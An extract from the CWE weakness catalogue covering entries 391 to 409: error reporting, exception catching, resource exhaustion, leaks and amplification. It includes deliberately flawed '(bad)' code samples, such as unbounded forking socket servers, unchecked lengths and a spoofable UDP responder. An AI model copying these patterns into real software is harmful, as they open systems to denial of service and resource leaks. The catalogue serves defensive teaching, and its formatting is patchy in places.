If a RareException were to ever be thrown, the program would continue to execute as though nothing unusual had occurred. The program records no evidence indicating the special situation, potentially frustrating any later attempt to explain the program's behavior.

## Notes

### Maintenance

This entry is slated for deprecation; it has multiple widespread interpretations by CWE analysts. It currently combines information from three different taxonomies, but each taxonomy is talking about a slightly different issue. CWE analysts might map to this entry based on any of these issues. 7PK has "Empty Catch Block" which has an association with empty exception block (CWE-1069); in this case, the exception has performed the check, but does not handle. In PLOVER there is "Unchecked Return Value" which is CWE-252, but unlike "Empty Catch Block" there isn't even a check of the issue - and "Unchecked Error Condition" implies lack of a check. For CLASP, "Uncaught Exception" (CWE-248) is associated with incorrect error propagation - uncovered in CWE 3.2 and earlier, at least. There are other issues related to error handling and checks.

### Other

When a programmer ignores an exception, they implicitly state that they are operating under one of two assumptions: This method call can never fail. It doesn't matter if this call fails.

## CWE-392: Missing Report of Error Condition

<b>Weakness ID</b> : 392	<b>Status</b> : Draft
<b>Structure</b> : Simple	
<b>Abstraction</b> : Base	

### Description

The software encounters an error but does not provide a status code or return value to indicate that an error has occurred.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

### Demonstrative Examples

**Example 1:**

In the following snippet from a doPost() servlet method, the server returns "200 OK" (default) even if an error occurs.

Example Language: Java

(bad)

```
try {
    // Something that may throw an exception.
    ...
} catch (Throwable t) {
    logger.error("Caught: " + t.toString());
    return;
}
```

## Observed Examples

Reference	Description
<b>CVE-2004-0063</b>	Function returns "OK" even if another function returns a different status code than expected, leading to accepting an invalid PIN number. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0063">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0063</a>

## CWE-393: Return of Wrong Status Code

Weakness ID : 393

Status: Draft

Structure : Simple

Abstraction : Base

## Description

A function or operation returns an incorrect return value or status code that does not indicate an error, but causes the product to modify its behavior based on the incorrect result.

### Extended Description

This can lead to unpredictable behavior. If the function is used to make security-critical decisions or provide security-critical information, then the wrong status code can cause the software to assume that an action is safe, even when it is not.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

### Demonstrative Examples

#### Example 1:

In the following example, an HTTP 404 status code is returned in the event of an IOException encountered in a Java servlet. A 404 code is typically meant to indicate a non-existent resource and would be somewhat misleading in this case.

*Example Language: Java*

*(bad)*

```
try {
    // something that might throw IOException
    ...
} catch (IOException ioe) {
    response.sendError(SC_NOT_FOUND);
}
```

## CWE-395: Use of NullPointerException Catch to Detect NULL Pointer Dereference

<b>Weakness ID</b> : 395	<b>Status</b> : Draft
<b>Structure</b> : Simple	
<b>Abstraction</b> : Base	

### Description

Catching NullPointerException should not be used as an alternative to programmatic checks to prevent dereferencing a null pointer.

### Extended Description

Programmers typically catch NullPointerException under three circumstances:

- The program contains a null pointer dereference. Catching the resulting exception was easier than fixing the underlying problem.
- The program explicitly throws a NullPointerException to signal an error condition.
- The code is part of a test harness that supplies unexpected input to the classes under test.

Of these three circumstances, only the last is acceptable.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

### Potential Mitigations

#### Phase: Architecture and Design

#### Phase: Implementation

Do not extensively rely on catching exceptions (especially for validating user input) to handle errors. Handling exceptions can decrease the performance of an application.

### Demonstrative Examples

#### Example 1:

The following code mistakenly catches a NullPointerException.

*Example Language: Java*

*(bad)*

```
try {
    mysteryMethod();
} catch (NullPointerException npe) {
}
```

## CWE-396: Declaration of Catch for Generic Exception

<b>Weakness ID</b> : 396	<b>Status</b> : Draft
<b>Structure</b> : Simple	
<b>Abstraction</b> : Base	

### Description

Catching overly broad exceptions promotes complex error handling code that is more likely to contain security vulnerabilities.

### Extended Description

Multiple catch blocks can get ugly and repetitive, but "condensing" catch blocks by catching a high-level class like Exception can obscure exceptions that deserve special treatment or that should not be caught at this point in the program. Catching an overly broad exception essentially defeats the purpose of Java's typed exceptions, and can become particularly dangerous if the program grows and begins to throw new types of exceptions. The new exception types will not receive any attention.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

### Applicable Platforms

**Language** : C++ (Prevalence = Undetermined)

**Language** : Java (Prevalence = Undetermined)

**Language** : C# (Prevalence = Undetermined)

### Common Consequences

Scope	Impact	Likelihood
Non-Repudiation	Hide Activities	

Scope	Impact	Likelihood
Other	Alter Execution Logic	

## Demonstrative Examples

### Example 1:

The following code excerpt handles three types of exceptions in an identical fashion.

*Example Language: Java*

*(good)*

```
try {
    doExchange();
}
catch (IOException e) {
    logger.error("doExchange failed", e);
}
catch (InvocationTargetException e) {
    logger.error("doExchange failed", e);
}
catch (SQLException e) {
    logger.error("doExchange failed", e);
}
```

At first blush, it may seem preferable to deal with these exceptions in a single catch block, as follows:

*Example Language:*

*(bad)*

```
try {
    doExchange();
}
catch (Exception e) {
    logger.error("doExchange failed", e);
}
```

However, if `doExchange()` is modified to throw a new type of exception that should be handled in some different kind of way, the broad catch block will prevent the compiler from pointing out the situation. Further, the new catch block will now also handle exceptions derived from `RuntimeException` such as `ClassCastException`, and `NullPointerException`, which is not the programmer's intent.

## CWE-397: Declaration of Throws for Generic Exception

**Weakness ID** : 397

**Status**: Draft

**Structure** : Simple

**Abstraction** : Base

### Description

Throwing overly broad exceptions promotes complex error handling code that is more likely to contain security vulnerabilities.

### Extended Description

Declaring a method to throw Exception or Throwable makes it difficult for callers to perform proper error handling and error recovery. Java's exception mechanism, for example, is set up to make it easy for callers to anticipate what can go wrong and write code to handle each specific exceptional circumstance. Declaring that a method throws a generic form of exception defeats this system.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

### Applicable Platforms

**Language** : C++ (Prevalence = Undetermined)

**Language** : Java (Prevalence = Undetermined)

**Language** : C# (Prevalence = Undetermined)

### Common Consequences

Scope	Impact	Likelihood
Non-Repudiation	Hide Activities	
Other	Alter Execution Logic	

## Demonstrative Examples

### Example 1:

The following method throws three types of exceptions.

*Example Language: Java*

*(good)*

```
public void doExchange() throws IOException, InvocationTargetException, SQLException {
    ...
}
```

While it might seem tidier to write

*Example Language:*

*(bad)*

```
public void doExchange() throws Exception {
    ...
}
```

doing so hampers the caller's ability to understand and handle the exceptions that occur. Further, if a later revision of `doExchange()` introduces a new type of exception that should be treated differently than previous exceptions, there is no easy way to enforce this requirement.

### Example 2:

Early versions of C++ (C++98, C++03, C++11) included a feature known as Dynamic Exception Specification. This allowed functions to declare what type of exceptions it may throw. It is possible to declare a general class of exception to cover any derived exceptions that may be throw.

*Example Language:*

*(bad)*

```
int myfunction() throw(std::exception) {
    if (0) throw out_of_range();
    throw length_error();
}
```

In the example above, the code declares that `myfunction()` can throw an exception of type "std::exception" thus hiding details about the possible derived exceptions that could potentially be thrown.

## Notes

### Applicable Platform

For C++, this weakness only applies to C++98, C++03, and C++11. It relies on a feature known as Dynamic Exception Specification, which was part of early versions of C++ but was deprecated in C++11. It has been removed for C++17 and later.

## CWE-400: Uncontrolled Resource Consumption

**Weakness ID** : 400**Status**: Draft**Structure** : Simple**Abstraction** : Class

### Description

The software does not properly control the allocation and maintenance of a limited resource, thereby enabling an actor to influence the amount of resources consumed, eventually leading to the exhaustion of available resources.

### Extended Description

Limited resources include memory, file system storage, database connection pool entries, and CPU. If an attacker can trigger the allocation of these limited resources, but the number or size of the resources is not controlled, then the attacker could cause a denial of service that consumes all available resources. This would prevent valid users from accessing the software, and it could potentially have an impact on the surrounding environment. For example, a memory exhaustion attack against an application could slow down the application as well as its host operating system.

There are at least three distinct scenarios which can commonly lead to resource exhaustion:

- Lack of throttling for the number of allocated resources
- Losing all references to a resource before reaching the shutdown stage
- Not closing/returning a resource after processing

Resource exhaustion problems are often result due to an incorrect implementation of the following situations:

- Error conditions and other exceptional circumstances.
- Confusion over which part of the program is responsible for releasing the resource.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

	<i>The most common result of resource exhaustion is denial of service. The software may slow down, crash due to unhandled errors, or lock out legitimate users.</i>	
Access Control Other	Bypass Protection Mechanism Other	
	<i>In some cases it may be possible to force the software to "fail open" in the event of resource exhaustion. The state of the software -- and possibly the security functionality - may then be compromised.</i>	

## Detection Methods

### Automated Static Analysis

Automated static analysis typically has limited utility in recognizing resource exhaustion problems, except for program-independent system resources such as files, sockets, and processes. For system resources, automated static analysis may be able to detect circumstances in which resources are not released after they have expired. Automated analysis of configuration files may be able to detect settings that do not specify a maximum value. Automated static analysis tools will not be appropriate for detecting exhaustion of custom resources, such as an intended security policy in which a bulletin board user is only allowed to make a limited number of posts per day.

*Effectiveness = Limited*

### Automated Dynamic Analysis

Certain automated dynamic analysis techniques may be effective in spotting resource exhaustion problems, especially with resources such as processes, memory, and connections. The technique may involve generating a large number of requests to the software within a short time frame.

*Effectiveness = Moderate*

### Fuzzing

While fuzzing is typically geared toward finding low-level implementation bugs, it can inadvertently find resource exhaustion problems. This can occur when the fuzzer generates a large number of test cases but does not restart the targeted software in between test cases. If an individual test case produces a crash, but it does not do so reliably, then an inability to handle resource exhaustion may be the cause.

*Effectiveness = Opportunistic*

## Potential Mitigations

### Phase: Architecture and Design

Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.

### Phase: Architecture and Design

Mitigation of resource exhaustion attacks requires that the target system either: recognizes the attack and denies that user further access for a given amount of time, or uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed. The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question. The second solution is simply difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply makes the attack require more resources on the part of the attacker.

### Phase: Architecture and Design

Ensure that protocols have specific limits of scale placed on them.

### Phase: Implementation

Ensure that all failures in resource allocation place the system into a safe posture.

## Demonstrative Examples

**Example 1:**

The following example demonstrates the weakness.

*Example Language: Java*

*(bad)*

```
class Worker implements Executor {
    ...
    public void execute(Runnable r) {
        try {
            ...
        }
        catch (InterruptedException ie) {
            // postpone response
            Thread.currentThread().interrupt();
        }
    }
    public Worker(Channel ch, int nworkers) {
        ...
    }
    protected void activate() {
        Runnable loop = new Runnable() {
            public void run() {
                try {
                    for (;;) {
                        Runnable r = ...;
                        r.run();
                    }
                }
                catch (InterruptedException ie) {
                    ...
                }
            }
        };
        new Thread(loop).start();
    }
}
```

There are no limits to runnables. Potentially an attacker could cause resource problems very quickly.

**Example 2:**

This code allocates a socket and forks each time it receives a new connection.

*Example Language: C*

*(bad)*

```
sock=socket(AF_INET, SOCK_STREAM, 0);
while (1) {
    newsock=accept(sock, ...);
    printf("A connection has been accepted\n");
    pid = fork();
}
```

The program does not track how many connections have been made, and it does not limit the number of connections. Because forking is a relatively expensive operation, an attacker would be able to cause the system to run out of CPU, processes, or memory by making a large number of connections. Alternatively, an attacker could consume all available connections, preventing others from accessing the system remotely.

**Example 3:**

In the following example a server socket connection is used to accept a request to store data on the local file system using a specified filename. The method `openSocketConnection` establishes a server socket to accept requests from a client. When a client establishes a connection to this service the `getNextMessage` method is first used to retrieve from the socket the name of the file

to store the data, the `openFileToWrite` method will validate the filename and open a file to write to on the local file system. The `getNextMessage` is then used within a while loop to continuously read data from the socket and output the data to the file until there is no longer any data from the socket.

Example Language: C

(bad)

```
int writeDataFromSocketToFile(char *host, int port)
{
    char filename[FILENAME_SIZE];
    char buffer[BUFFER_SIZE];
    int socket = openSocketConnection(host, port);
    if (socket < 0) {
        printf("Unable to open socket connection");
        return(FAIL);
    }
    if (getNextMessage(socket, filename, FILENAME_SIZE) > 0) {
        if (openFileToWrite(filename) > 0) {
            while (getNextMessage(socket, buffer, BUFFER_SIZE) > 0){
                if (!(writeToFile(buffer) > 0))
                    break;
            }
        }
        closeFile();
    }
    closeSocket(socket);
}
```

This example creates a situation where data can be dumped to a file on the local file system without any limits on the size of the file. This could potentially exhaust file or disk resources and/or limit other clients' ability to access the service.

#### Example 4:

In the following example, the `processMessage` method receives a two dimensional character array containing the message to be processed. The two-dimensional character array contains the length of the message in the first character array and the message body in the second character array. The `getMessageLength` method retrieves the integer value of the length from the first character array. After validating that the message length is greater than zero, the body character array pointer points to the start of the second character array of the two-dimensional character array and memory is allocated for the new body character array.

Example Language: C

(bad)

```
/* process message accepts a two-dimensional character array of the form [length][body] containing the message to be
processed */
int processMessage(char **message)
{
    char *body;
    int length = getMessageLength(message[0]);
    if (length > 0) {
        body = &message[1][0];
        processMessageBody(body);
        return(SUCCESS);
    }
    else {
        printf("Unable to process message; invalid message length");
        return(FAIL);
    }
}
```

This example creates a situation where the length of the body character array can be very large and will consume excessive memory, exhausting system resources. This can be avoided by restricting the length of the second character array with a maximum length check

Also, consider changing the type from 'int' to 'unsigned int', so that you are always guaranteed that the number is positive. This might not be possible if the protocol specifically requires allowing negative values, or if you cannot control the return value from getMessageLength(), but it could simplify the check to ensure the input is positive, and eliminate other errors such as signed-to-unsigned conversion errors (CWE-195) that may occur elsewhere in the code.

*Example Language: C*

*(good)*

```
unsigned int length = getMessageLength(message[0]);
if ((length > 0) && (length < MAX_LENGTH)) {...}
```

### Example 5:

In the following example, a server object creates a server socket and accepts client connections to the socket. For every client connection to the socket a separate thread object is generated using the ClientSocketThread class that handles request made by the client through the socket.

*Example Language: Java*

*(bad)*

```
public void acceptConnections() {
    try {
        ServerSocket serverSocket = new ServerSocket(SERVER_PORT);
        int counter = 0;
        boolean hasConnections = true;
        while (hasConnections) {
            Socket client = serverSocket.accept();
            Thread t = new Thread(new ClientSocketThread(client));
            t.setName(client.getInetAddress().getHostName() + "." + counter++);
            t.start();
        }
        serverSocket.close();
    } catch (IOException ex) {...}
}
```

In this example there is no limit to the number of client connections and client threads that are created. Allowing an unlimited number of client connections and threads could potentially overwhelm the system and system resources.

The server should limit the number of client connections and the client threads that are created. This can be easily done by creating a thread pool object that limits the number of threads that are generated.

*Example Language: Java*

*(good)*

```
public static final int SERVER_PORT = 4444;
public static final int MAX_CONNECTIONS = 10;
...
public void acceptConnections() {
    try {
        ServerSocket serverSocket = new ServerSocket(SERVER_PORT);
        int counter = 0;
        boolean hasConnections = true;
        while (hasConnections) {
            hasConnections = checkForMoreConnections();
            Socket client = serverSocket.accept();
            Thread t = new Thread(new ClientSocketThread(client));
            t.setName(client.getInetAddress().getHostName() + "." + counter++);
            ExecutorService pool = Executors.newFixedThreadPool(MAX_CONNECTIONS);
            pool.execute(t);
        }
        serverSocket.close();
    } catch (IOException ex) {...}
}
```

## Notes

### Maintenance

"Resource consumption" could be interpreted as a consequence instead of an insecure behavior, so this entry is being considered for modification. It appears to be referenced too frequently when more precise mappings are available. Some of its children, such as CWE-771, might be better considered as a chain.

### Theoretical

Vulnerability theory is largely about how behaviors and resources interact. "Resource exhaustion" can be regarded as either a consequence or an attack, depending on the perspective. This entry is an attempt to reflect the underlying weaknesses that enable these attacks (or consequences) to take place.

### Other

Database queries that take a long time to process are good DoS targets. An attacker would have to write a few lines of Perl code to generate enough traffic to exceed the site's ability to keep up. This would effectively prevent authorized users from using the site at all. Resources can be exploited simply by ensuring that the target machine must do much more work and consume more resources in order to service a request than the attacker must do to initiate a request. A prime example of this can be found in old switches that were vulnerable to "macof" attacks (so named for a tool developed by Dugsong). These attacks flooded a switch with random IP and MAC address combinations, therefore exhausting the switch's cache, which held the information of which port corresponded to which MAC addresses. Once this cache was exhausted, the switch would fail in an insecure way and would begin to act simply as a hub, broadcasting all traffic on all ports and allowing for basic sniffing attacks.

## CWE-401: Missing Release of Memory after Effective Lifetime

**Weakness ID** : 401

**Status**: Draft

**Structure** : Simple

**Abstraction** : Variant

### Description

The software does not sufficiently track and release allocated memory after it has been used, which slowly consumes remaining memory.

### Extended Description

This is often triggered by improper handling of malformed data or unexpectedly interrupted sessions. In some languages, developers are responsible for tracking memory allocation and releasing the memory. If there are no more pointers or references to the memory, then it can no longer be tracked and identified for release.

### Relationships

These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. #### Phase: Implementation

*Strategy = Libraries or Frameworks*

Choose a language or tool that provides automatic memory management, or makes manual memory management less error-prone. For example, glibc in Linux provides protection against free of invalid pointers. When using Xcode to target OS X or iOS, enable automatic reference counting (ARC) [REF-391]. To help correctly and consistently manage memory when programming in C++, consider using a smart pointer class such as `std::auto_ptr` (defined by ISO/IEC ISO/IEC 14882:2003), `std::shared_ptr` and `std::weak_ptr` (specified by an upcoming revision of the C++ standard, informally referred to as C++ 1x), or equivalent solutions such as Boost.

#### Phase: Architecture and Design

Use an abstraction library to abstract away risky APIs. Not a complete solution.

#### Phase: Architecture and Design

#### Phase: Build and Compilation

The Boehm-Demers-Weiser Garbage Collector or valgrind can be used to detect leaks in code.

### Demonstrative Examples

#### Example 1:

The following C function leaks a block of allocated memory if the call to read() does not return the expected number of bytes:

Example Language: C

(bad)

```
char* getBlock(int fd) {
    char* buf = (char*) malloc(BLOCK_SIZE);
    if (!buf) {
        return NULL;
    }
    if (read(fd, buf, BLOCK_SIZE) != BLOCK_SIZE) {
        return NULL;
    }
    return buf;
}
```

## Notes

### Relationship

This is often a resultant weakness due to improper handling of malformed data or early termination of sessions.

### Terminology

"memory leak" has sometimes been used to describe other kinds of issues, e.g. for information leaks in which the contents of memory are inadvertently leaked (CVE-2003-0400 is one such example of this terminology conflict).

## CWE-402: Transmission of Private Resources into a New Sphere ('Resource Leak')

**Weakness ID** : 402

**Status**: Draft

**Structure** : Simple

**Abstraction** : Class

### Description

The software makes resources available to untrusted parties when those resources are only intended to be accessed by the software.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

## CWE-403: Exposure of File Descriptor to Unintended Control Sphere ('File Descriptor Leak')

**Weakness ID :** 403

**Status:** Draft

**Structure :** Simple

**Abstraction :** Base

### Description

A process does not close sensitive file descriptors before invoking a child process, which allows the child to perform unauthorized I/O operations using those descriptors.

### Extended Description

When a new process is forked or executed, the child process inherits any open file descriptors. When the child process has fewer privileges than the parent process, this might introduce a vulnerability if the child process can access the file descriptor but does not have the privileges to access the associated file.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

## CWE-404: Improper Resource Shutdown or Release

Weakness ID : 404

Status: Draft

Structure : Simple

Abstraction : Class

### Description

The program does not release or incorrectly releases a resource before it is made available for re-use.

### Extended Description

When a resource is created or allocated, the developer is responsible for properly releasing the resource as well as accounting for all potential paths of expiration or invalidation, such as a set period of time or revocation.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

### Weakness Ordinalities

**Primary :** Improper release or shutdown of resources can be primary to resource exhaustion, performance, and information confidentiality problems to name a few.

**Resultant :** Improper release or shutdown of resources can be resultant from improper error handling or insufficient resource tracking.

### Applicable Platforms

**Language :** Language-Independent (*Prevalence = Undetermined*)

### Likelihood Of Exploit

Medium

### Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Resource Consumption (Other)	
Other	Varies by Context	
	<i>Most unreleased resource issues result in general software reliability problems, but if an attacker can intentionally trigger a resource leak, the attacker might be able to launch a denial of service attack by depleting the resource pool.</i>	
Confidentiality	Read Application Data	
	<i>When a resource containing sensitive information is not correctly shutdown, it may expose the sensitive data in a subsequent allocation.</i>	

### Detection Methods

**Automated Dynamic Analysis**

This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results. Resource clean up errors might be detected with a stress-test by calling the software simultaneously from a large number of threads or processes, and look for evidence of any unexpected behavior. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

*Effectiveness = Moderate*

### Manual Dynamic Analysis

Identify error conditions that are not likely to occur during normal usage and trigger them. For example, run the program under low memory conditions, run with insufficient privileges or permissions, interrupt a transaction before it is completed, or disable connectivity to basic network services such as DNS. Monitor the software for any unexpected behavior. If you trigger an unhandled exception or similar error that was discovered and handled by the application's environment, it may still indicate unexpected conditions that were not handled by the application itself.

### Potential Mitigations

#### Phase: Requirements

*Strategy = Language Selection*

Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, languages such as Java, Ruby, and Lisp perform automatic garbage collection that releases memory for objects that have been deallocated.

#### Phase: Implementation

It is good practice to be responsible for freeing all resources you allocate and to be consistent with how and where you free memory in a function. If you allocate memory that you intend to free upon completion of the function, you must be sure to free the memory at all exit points for that function including error conditions.

#### Phase: Implementation

Memory should be allocated/freed using matching functions such as malloc/free, new/delete, and new[]/delete[].

#### Phase: Implementation

When releasing a complex object or structure, ensure that you properly dispose of all of its member components, not just the object itself.

### Demonstrative Examples

#### Example 1:

The following method never closes the new file handle. Given enough time, the Finalize() method for BufferedReader should eventually call Close(), but there is no guarantee as to how long this action will take. In fact, there is no guarantee that Finalize() will ever be invoked. In a busy environment, the Operating System could use up all of the available file handles before the Close() function is called.

*Example Language: Java*

*(bad)*

```
private void processFile(string fName)
{
    BufferedReader fil = new BufferedReader(new FileReader(fName));
    String line;
    while ((line = fil.ReadLine()) != null)
    {
        processLine(line);
    }
}
```

}

The good code example simply adds an explicit call to the Close() function when the system is done using the file. Within a simple example such as this the problem is easy to see and fix. In a real system, the problem may be considerably more obscure.

*Example Language: Java*

*(good)*

```
private void processFile(string fName)
{
    BufferedReader fil = new BufferedReader(new FileReader(fName));
    String line;
    while ((line = fil.ReadLine()) != null)
    {
        processLine(line);
    }
    fil.Close();
}
```

### Example 2:

This code attempts to open a connection to a database and catches any exceptions that may occur.

*Example Language: Java*

*(bad)*

```
try {
    Connection con = DriverManager.getConnection(some_connection_string);
}
catch ( Exception e ) {
    log( e );
}
```

If an exception occurs after establishing the database connection and before the same connection closes, the pool of database connections may become exhausted. If the number of available connections is exceeded, other users cannot access this resource, effectively denying access to the application.

### Example 3:

Under normal conditions the following C# code executes a database query, processes the results returned by the database, and closes the allocated SqlConnection object. But if an exception occurs while executing the SQL or processing the results, the SqlConnection object is not closed. If this happens often enough, the database will run out of available cursors and not be able to execute any more SQL queries.

*Example Language: C#*

*(bad)*

```
...
SqlConnection conn = new SqlConnection(connString);
SqlCommand cmd = new SqlCommand(queryString);
cmd.Connection = conn;
conn.Open();
SqlDataReader rdr = cmd.ExecuteReader();
HarvestResults(rdr);
conn.Connection.Close();
...
```

### Example 4:

The following C function does not close the file handle it opens if an error occurs. If the process is long-lived, the process can run out of file handles.

Example Language: C

(bad)

```

int decodeFile(char* fName) {
    char buf[BUF_SZ];
    FILE* f = fopen(fName, "r");
    if (!f) {
        printf("cannot open %s\n", fName);
        return DECODE_FAIL;
    }
    else {
        while (fgets(buf, BUF_SZ, f)) {
            if (!checkChecksum(buf)) {
                return DECODE_FAIL;
            }
            else {
                decodeBlock(buf);
            }
        }
    }
    fclose(f);
    return DECODE_SUCCESS;
}

```

**Example 5:**

In this example, the program does not use matching functions such as malloc/free, new/delete, and new[]/delete[] to allocate/deallocate the resource.

Example Language: C++

(bad)

```

class A {
    void foo();
};
void A::foo(){
    int *ptr;
    ptr = (int*)malloc(sizeof(int));
    delete ptr;
}

```

**Example 6:**

In this example, the program calls the delete[] function on non-heap memory.

Example Language: C++

(bad)

```

class A{
    void foo(bool);
};
void A::foo(bool heap) {
    int localArray[2] = {
        11,22
    };
    int *p = localArray;
    if (heap){
        p = new int[2];
    }
    delete[] p;
}

```

## CWE-405: Asymmetric Resource Consumption (Amplification)

**Weakness ID** : 405

**Status**: Incomplete

**Structure** : Simple

**Abstraction** : Class

### Description

Software that does not appropriately monitor or control resource consumption can lead to adverse system performance.

### Extended Description

This situation is amplified if the software allows malicious users or attackers to consume more resources than their access level permits. Exploiting such a weakness can lead to asymmetric resource consumption, aiding in amplification attacks against the system or the network.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

## CWE-406: Insufficient Control of Network Message Volume (Network Amplification)

<b>Weakness ID</b> : 406	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Class	

### Description

The software does not sufficiently monitor or control transmitted network traffic volume, so that an actor can cause the software to transmit more traffic than should be allowed for that actor.

### Extended Description

In the absence of a policy to restrict asymmetric resource consumption, the application or system cannot distinguish between legitimate transmissions and traffic intended to serve as an amplifying attack on target systems. Systems can often be configured to restrict the amount of traffic sent out on behalf of a client, based on the client's origin or access level. This is usually defined in a resource allocation policy. In the absence of a mechanism to keep track of transmissions, the system or application can be easily abused to transmit asymmetrically greater traffic than the request or client should be permitted to.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

ChildOf		405	Asymmetric Resource Consumption (Amplification)	896
CanFollow		941	Incorrectly Specified Destination in a Communication Channel	1653

### Applicable Platforms

**Language** : Language-Independent (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Amplification DoS: Crash, Exit, or Restart DoS: Resource Consumption (CPU) DoS: Resource Consumption (Memory) DoS: Resource Consumption (Other)	
	<i>System resources can be quickly consumed leading to poor application performance or system crash. This may affect network performance and could be used to attack other systems and applications relying on network performance.</i>	

### Potential Mitigations

**Phase: Architecture and Design**

*Strategy = Separation of Privilege*

An application must make network resources available to a client commensurate with the client's access level.

**Phase: Policy**

Define a clear policy for network resource allocation and consumption.

**Phase: Implementation**

An application must, at all times, keep track of network resources and meter their usage appropriately.

**Demonstrative Examples****Example 1:**

This code listens on a port for DNS requests and sends the result to the requesting address.

*Example Language: Python*

*(bad)*

```
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.bind( (UDP_IP,UDP_PORT) )
while true:
    data = sock.recvfrom(1024)
    if not data:
        break
    (requestIP, nameToResolve) = parseUDPpacket(data)
    record = resolveName(nameToResolve)
    sendResponse(requestIP,record)
```

This code sends a DNS record to a requesting IP address. UDP allows the source IP address to be easily changed ('spoofed'), thus allowing an attacker to redirect responses to a target, which may be then be overwhelmed by the network traffic.

**Observed Examples**

### Relationship

This can be resultant from weaknesses that simplify spoofing attacks.

### Theoretical

Network amplification, when performed with spoofing, is normally a multi-channel attack from attacker (acting as user) to amplifier, and amplifier to victim.

## CWE-408: Incorrect Behavior Order: Early Amplification

<b>Weakness ID</b> : 408	<b>Status</b> : Draft
<b>Structure</b> : Simple	
<b>Abstraction</b> : Base	

## Description

The software allows an entity to perform a legitimate but expensive operation before authentication or authorization has taken place.

## Demonstrative Examples

### Example 1:

This data prints the contents of a specified file requested by a user.

*Example Language: PHP*

*(bad)*

```
function printFile($username,$filename){
    //read file into string
    $file = file_get_contents($filename);
    if ($file && isOwnerOf($username,$filename)){
        echo $file;
        return true;
    }
    else{
        echo 'You are not authorized to view this file';
    }
    return false;
}
```

This code first reads a specified file into memory, then prints the file if the user is authorized to see its contents. The read of the file into memory may be resource intensive and is unnecessary if the user is not allowed to see the file anyway.

## CWE-409: Improper Handling of Highly Compressed Data (Data Amplification)

**Weakness ID** : 409 **Status**: Incomplete

**Structure** : Simple

**Abstraction** : Base

### Description

The software does not handle or incorrectly handles a compressed input with a very high compression ratio that produces a large output.

### Extended Description

An example of data amplification is a "decompression bomb," a small ZIP file that can produce a large amount of data when it is decompressed.

Availability	DoS: Amplification DoS: Crash, Exit, or Restart DoS: Resource Consumption (CPU) DoS: Resource Consumption (Memory)  <i>System resources, CPU and memory, can be quickly consumed. This can lead to poor system performance or system crash.</i>	

## Demonstrative Examples

### Example 1:

